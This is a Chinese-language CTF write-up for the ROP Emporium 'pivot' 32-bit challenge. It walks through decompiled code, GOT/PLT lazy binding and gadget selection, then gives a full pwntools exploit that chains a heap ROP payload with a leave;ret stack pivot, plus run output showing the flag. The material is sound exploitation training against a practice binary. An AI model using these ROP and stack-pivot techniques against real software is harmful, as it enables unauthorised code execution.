ROP pivot
文件:pivot32
checksec pivot32
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RPATH: './'
IDA
int __cdecl main(int argc, const char **argv, const char **envp) { void *ptr; // ST18_4@1 setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); puts("pivot by ROP Emporium"); puts("32bits\n"); ptr = malloc(0x1000000u); pwnme((char *)ptr + 16776960); free(ptr); puts("\nExiting"); return 0; }
C 库函数 void *malloc(size_t size) 分配所需的内存空间,并返回一个指向它的指针。
void *malloc(size_t size)
此处pwnme整个函数的栈是在ptr(malloc分配的堆)+16776960上面运行的
pwnme()
char *__cdecl pwnme(char *a1) { char s; // [sp+0h] [bp-28h]@1 memset(&s, 0, 0x20u); puts("Call ret2win() from libpivot.so"); printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", a1); puts("Send your second chain now and it will land there"); printf("> "); fgets(a1, 256, stdin); puts("Now kindly send your stack smash"); printf("> "); return fgets(&s, 58, stdin); }
哈哈哈,给打印了个地址…
(后来看wp才发现这是人家给的hint(开启了随机化地址(ASLR),想找到a1地址需要关闭随机化,但是这里打印出来降低了难度)
注意:此处能放多少个?0x28=40个,可以读取58个,那么如果填满,溢出58-40=18个。
wp注解:题目中给的栈溢出的缓冲区比较小,无法存下我们所需要的所有ROP链。注意到程序要求我们输入两次,第一次的输入保存在一个空间比较大的堆中
(malloc)
,所以可以在堆中存入shellcode,在栈中用某种方法把eip导向堆中相应位置。(tql)usefulFunction()
void __noreturn uselessFunction() { foothold_function(); exit(1); }
foothold_function()
int foothold_function(void) { return foothold_function(); }
(啥也无~)
IDA探索附带文件libpivot32.so
shift+F12
.rodata:000009B0 00000055 C foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so .rodata:00000A05 00000014 C Nothing to see here .rodata:00000A19 00000012 C /bin/cat flag.txt .eh_frame:00000ADF 00000007 C ;*2$\"
发现目标:
/bin/cat flag.txt
也发现上文所说
foothold_function()
定义int foothold_function() { int v0; // eax@1 v0 = _x86_get_pc_thunk_ax(); return printf(&aFoothold_funct[v0 - 1916]); }
又根据rop提示
ret2win
会有用,IDA中ALT+T搜索ret2win
得到字符串:
.text:00000967 public ret2win
点进去看:
.text:00000967 public ret2win
(好吧是一样的…只不过我alt+t搜出来了而已…)
啊!我知道为什么我shift+F12没有ret2win了!
IDA版本过低!
重装之后,发现libpivot32.so函数有了ret2win。
void __noreturn ret2win() { system("/bin/cat flag.txt"); exit(0); }
调用ret2win即可!
在elf中的函数里面只有
foothold_function
是也出现在libpivot32.so
里面的,它还存在elf的got表中,可以利用这个foothold函数来进行泄漏libc,从而得到ret2win的真实地址,如果得到真实地址,调用,即可得到答案。又想起rop的话,”.plt and .got.plt sections of ELF binaries”,这里难度加大,看rop的新手指导+好多wp我才继续做完的。
.plt and .got.plt sections of ELF binaries:涉及了延时绑定:当我们在调用如 func@plt() 的时候,系统才会将真正的 func() 函数地址写入到GOT表的 func.got.plt 中,然后 func@plt()根据 func.got.plt 跳转到真正的 func() 函数上去。
也就是说先调用一次,才能得到真实地址。
我们构造的rop链要能够控制程序跳转到
foothold_function
函数去执行,这里需要用到计算偏移elf函数中只有foothold_function在.so中也出现,而且也在got表中,所以ret2win的真实地址可以结合foothold_function算出来,这里需要注意的是,需要先将foothold_function函数调用一次,got表中才有foothold_function的真实地址。找工具
ROPgadget --binary pivot32 --only "mov|pop|ret|add|call|leave"
0x080488c7 : add eax, ebx ; ret
eax=eax+ebx;下一级
0x080488c4 : mov eax, dword ptr [eax] ; ret
eax=eax+eax地址中的数据;下一级
mov eax, dword ptr [esi]
dword表示的是双字,四字节。esi中保存的是为内存中的地址。将该地址处的4字节数据传送到eax中。
0x080488c0 : pop eax ; ret
弹出eax;下一级
0x00x080486a3 : call eax
调用eax;
0x080486a8 : leave ; ret
leave
指令,其相当于move rbp rsp , pop rbp
两条指令,在每个函数运行完时最后一条指令通常为pop rbp
,接着我们将ret
指向的地址覆盖为leave
,便可以根据我们的想法,控制$rbp的内容,从而控制程序流向。EXP
p.recvuntil(some_string)` 接收到 some_string 为止
from pwn import * sh = process('./pivot32') elf = ELF('./pivot32') libc = ELF('./libpivot32.so') foothold_plt = elf.plt['foothold_function'] foothold_got_plt = elf.got['foothold_function'] foothold_sym = libc.symbols['foothold_function'] ret2win = libc.symbols['ret2win'] # offset = int(foothold_got_plt - foothold_sym) 这里就是直接用got表的地址去算偏移,其实是错的,因为foothold_function函数没有调用过,got表中并不是真实地址 # offset = int(ret2win - foothold_sym) offset = ret2win - foothold_sym #已经调用过一次foothold_sym,所以这一次是真实地址了 #offset = foothold_sym - ret2win 这里算偏移的时候要注意结果不能为负数 sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ") leakaddr = int(sh.recv(10),16) #接收题目打印出来的堆地址 print hex(leakaddr) pause() add_eax_ebx = 0x080488c7 mov_eax_eax = 0x080488c4 pop_eax = 0x080488c0 pop_ebx = 0x08048571 call_eax = 0x080486a3 leave_ret = 0x080486a8 payload_1 = "" payload_1 += p32(foothold_plt) #将foothold_function函数调用一次 payload_1 += p32(pop_eax) #ret payload_1 += p32(foothold_got_plt) #上面调用了一次这里就是真实地址了 payload_1 += p32(mov_eax_eax) #ret payload_1 += p32(pop_ebx) #ret payload_1 += p32(offset) payload_1 += p32(add_eax_ebx) #ret payload_1 += p32(call_eax) #理解:调用函数,取出水桶,再次调用函数得到真实地址,把真实地址放入水桶,取出第二个水桶,把偏移量放入第二个水桶,把第二个水桶的水倒入第一个水桶内,调用第一个水桶 #Ret相当于 Pop EIP ,就是把栈顶指针ESP指向的值弹出来给EIP sh.sendline(payload_1) payload_2 = "" payload_2 += 0x28 * "A" payload_2 += p32(leakaddr-4) + p32(leave_ret) #leave_ret指令拆解为mov esp, ebp; pop ebp; ret之后,可以看mov 操作是可以对栈的位置进行操控的。把fake_ebp用malloc的地址减去4,这样经过pop ebp之后,ret的地址就刚好在我们在堆上布置的shellcode上了。 #先把ebp 赋值给了esp,栈顶变,然后pop ebp,把之前布置的ebp的4个字节给pop掉 #malloc的地址减去4 ,就剩下了没有最后返回地址的东西 #ebp 填充的是 你要去的地方-4,返回地址 填的是leave ret,实现栈迁移。迁移过去之后进行pop 操作会把前面4个字节给搞掉,然后ret到你布置的程序。那这里的四个字节是垃圾数据 sh.sendline(payload_2) sh.interactive()
0xf7dc7f08 [*] Paused (press any to continue) [*] Switching to interactive mode Send your second chain now and it will land there > Now kindly send your stack smash > foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.soROPE{a_placeholder_32byte_flag!} [*] Process './pivot32' stopped with exit code 0 (pid 2908) [*] Got EOF while reading in interactive
ROPE{a_placeholder_32byte_flag!}